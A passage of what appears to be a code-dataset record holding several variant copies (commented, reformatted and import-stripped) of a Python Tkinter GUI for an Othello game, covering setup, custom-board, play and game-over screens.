range(self.controller.Handler.GameParams[\"y_size\"]):\n\t\t\trow = []\n\t\t\tfor x in range(self.controller.Handler.GameParams[\"x_size\"]):\n\t\t\t\t# Diameter with respond to the length of the shortest side of the board\n\t\t\t\theight = self.Board_Area.winfo_height()\n\t\t\t\twidth = self.Board_Area.winfo_width()\n\n\t\t\t\tif height > width:\n\t\t\t\t\tdiameter = width/self.controller.Handler.GameParams[\"x_size\"]\n\t\t\t\telse:\n\t\t\t\t\tdiameter = height/self.controller.Handler.GameParams[\"y_size\"]\n\n\t\t\t\tself.Board_Area.grid_columnconfigure(x, weight=1)\n\t\t\t\tself.Board_Area.grid_rowconfigure(y, weight=1)\n\n\t\t\t\tdisc = wg.Disc(self.Board_Area, self.controller, diameter=diameter,\n\t\t\t\t\tcommand= lambda x=x, y=y: self.Disc_Function(x, y))\n\t\t\t\tdisc.grid(row=y, column=x, sticky=\"nsew\")\n\t\t\t\trow.append(disc)\n\n\t\t\tself.Board.append(row)\n\n\t\tself.Update_Board()\n\n\tdef Reset_Game(self): #This will reset the game board to its initial state\n\t\tself.Board = []\n\t\tfor widget in self.Board_Area.winfo_children():\n\t\t\twidget.destroy()\n\n\tdef Disc_Function (self, x: int, y: int): # This is the function run when the player clicks a disc slot/disc\n\t\tif not self.controller.Handler.Move(x+1, y+1): # Try run the Move function on the Handler\n\t\t\tself.Invalid_Move()\n\n\tdef Invalid_Move(self): # This command will run when a player tries to make a move thats not possible\n\t\tshowerror(\"Invalid Move\", \"You cannot move there!\")\n\n\tdef Update_Board (self): # Update the board to mathe the Game() board\n\t\tfor y in range(len(self.Board)):\n\t\t\tfor x in range(len(self.Board[y])):\n\t\t\t\tgame_piece = self.controller.Handler.Game.Board[y][x]\n\t\t\t\tif game_piece == None:\n\t\t\t\t\tpass\n\t\t\t\telif game_piece == \"B\":\n\t\t\t\t\tif self.Board[y][x].Current_Color != \"black\":\n\t\t\t\t\t\tself.Board[y][x].Set_Piece_Color(\"black\")\n\t\t\t\telif game_piece == \"W\":\n\t\t\t\t\tif self.Board[y][x].Current_Color != \"white\":\n\t\t\t\t\t\tself.Board[y][x].Set_Piece_Color(\"white\")\n\n\tdef Update_Current_Player (self): # Update the current player identifier\n\t\tself.Current_Player.config(text=\"Turn: \" + self.controller.Get_Current_Player())\n\n\tdef Update_Game_Type(self): # Update the game type identifier\n\t\tg_type = self.controller.Handler.Get_Game_Type()\n\t\tself.Game_Type.configure(text=\"Rules: \" + g_type)\n\n\tdef Update_Score (self): # Update the score identifier\n\t\tb, w = self.controller.Handler.Get_Score()\n\t\tself.Score.configure(text=\"Black: {0!s} | {1!s} :White\".format(b, w))\n\n\tdef Full_Update(self): # Run a full update on the graphics\n\t\tself.Update_Score()\n\t\tself.Update_Current_Player()\n\t\tself.Update_Board()\n\nclass Postgame (tk.Frame): # The 'end game' screen\n\tFrameName = \"Postgame\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\t# Set a page title\n\t\tself.Title = tk.Label(self, text=\"Game Over!\", bg=\"white\", font=FONTS[\"large\"])\n\t\tself.Title.pack(side=\"top\")\n\n\t\tSeparator(self, orient=\"horizontal\").pack(side=\"top\", fill=\"x\", padx=10)\n\n\t\t# Set the winner text object\n\t\tself.Winner = tk.Label(self, text=\"The winner is black-discs.\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Winner.pack(side=\"top\")\n\n\t\t# Create the replay and exit buttons\n\t\tself.Buttons = tk.Frame(self, bg=\"white\")\n\t\tself.Buttons.pack()\n\n\t\tReplay = tk.Button(self.Buttons, text=\"Replay\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Replay())\n\t\tReplay.grid(row=0, column=0)\n\n\t\tQuit = tk.Button(self.Buttons, text=\"Quit\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Quit())\n\t\tQuit.grid(row=0, column=1)\n\n\t\t# the area for the board output\n\t\tself.Board_Area = tk.Frame(self, bg=\"white\")\n\t\tself.Board_Area.pack(side=\"bottom\")\n\n\t\t# Score text\n\t\tself.Score = tk.Label(self.Board_Area, text=\"\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Score.pack()\n\n\t\t# The display for the board\n\t\tself.Board_Display = tk.Frame(self.Board_Area, bg=\"green\")\n\t\tself.Board_Display.pack()\n\n\t\tself.Board = []\n\n\tdef Replay(self): # Initiate the Replay\n\t\tself.controller.Replay()\n\n\tdef Quit(self): # Kill the game\n\t\tself.controller.destroy()\n\t\texit()\n\n\tdef Update_Board (self): # Update the game board display, kill old, create new\n\t\tfor widget in self.Board_Display.winfo_children():\n\t\t\twidget.destroy()\n\n\t\tfor y in range(self.controller.Handler.GameParams[\"y_size\"]):\n\t\t\trow = []\n\t\t\tfor x in range(self.controller.Handler.GameParams[\"x_size\"]):\n\t\t\t\tself.Board_Area.grid_columnconfigure(x, weight=1)\n\t\t\t\tself.Board_Area.grid_rowconfigure(y, weight=1)\n\n\t\t\t\tcol = None\n\t\t\t\tplace_col = self.controller.Handler.Game.Board[y][x]\n\t\t\t\tif place_col == \"B\":\n\t\t\t\t\tcol = \"black\"\n\t\t\t\telif place_col == \"W\":\n\t\t\t\t\tcol = \"white\"\n\n\t\t\t\tdisc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50)\n\t\t\t\tdisc.grid(row=y, column=x, sticky=\"nsew\")\n\t\t\t\trow.append(disc)\n\n\t\t\tself.Board.append(row)\n\n\tdef Update(self): # Update the whole page\n\t\twinner, scores = self.controller.Handler.Get_Winner() \n\t\tif winner.lower() == \"b\":\n\t\t\twinner = \"black-discs\"\n\t\telif winner.lower() == \"w\":\n\t\t\twinner = \"white-discs\"\n\t\telse:\n\t\t\twinner == \"no one\"\n\t\tself.Winner.configure(text=\"The winner is \" + winner)\n\t\tself.Score.configure(text=\"Black: {0!s} | {1!s}:White\".format(scores[0], scores[1]))\n\t\tself.Update_Board()\n\nif __name__ == \"__main__\":\n\tWindow = Handler()\n",
"import tkinter as tk\nimport Widgets as wg\nimport Logic as lgc\nfrom tkinter.ttk import Separator\nfrom tkinter.messagebox import showerror, showinfo\nFONTS = {'large': ('Helvetica', 20), 'medium': ('Helvetica', 16), 'small':\n ('Helvetica', 12)}\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\nif __name__ == '__main__':\n Window = Handler()\n",
"<import token>\nFONTS = {'large': ('Helvetica', 20), 'medium': ('Helvetica', 16), 'small':\n ('Helvetica', 12)}\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n 